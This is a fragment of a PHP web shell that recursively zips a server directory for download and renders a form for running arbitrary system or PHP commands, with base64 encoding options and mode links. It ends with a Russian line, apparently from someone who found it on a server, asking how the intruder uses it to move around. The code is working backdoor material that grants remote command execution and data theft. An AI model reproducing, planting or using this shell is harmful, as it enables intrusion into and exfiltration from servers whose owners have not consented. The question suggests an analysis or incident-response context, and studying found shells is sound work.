$d=str_replace($zip,'',$dir);
$fdir=opendir($dir);
while ($file=readdir($fdir)) {
if ($file!='.' and $file!='..') {
if (is_file($dir.$file)) {
$this->add_file(file_get_contents($dir.$file),$d.$file); }
else if (is_dir($dir.$file)) {
$this->full_add_dir($dir.$file.'/'); } } }
return $dir; } }
$zipfile = new zipfile();
$zipfile->full_add_dir($zip);
$name=explode('/',$zip);
$file=$name[count($name)-2];
header('Content-type: application/octet-stream');
header('Content-disposition: attachment; filename='.$file.'.zip');
echo $zipfile->file(); exit; }
///////////////////
//CMD
///////////////////
if (isset($_GET['com'])) {
if ($_GET['com']=='1') {$str='c';} else {$str='e';}
echo '<form action="',$ps,'" method="POST">
Command (',$str,'): <br>
<input name="',$str,'" type="text"><br>
Base64: <input name="encode" type="checkbox" value="1"><br>
Text: <input name="text" type="checkbox" value="1">
Textarea: <input name="textarea" type="checkbox" value="1"><br>
<input type="submit" value="Done">
</form><hr>'; }
//////////////////////////////////////
echo '<br>
<a href="',$ps,'">Default</a> | <a href="',$ps,'?com=1">CMD</a> | <a href="',$ps,'?com=0">PHP</a><br>';
list($msec,$sec)=explode(chr(32),microtime());
echo round((($sec+$msec)-$HeadTime),5),' sec.
</body>
</html>';
exit;
?>
недолго думая понятно что это шелл. подскажите мне пожалуйста как с помощью этого шелла этот человек лазит по серверу.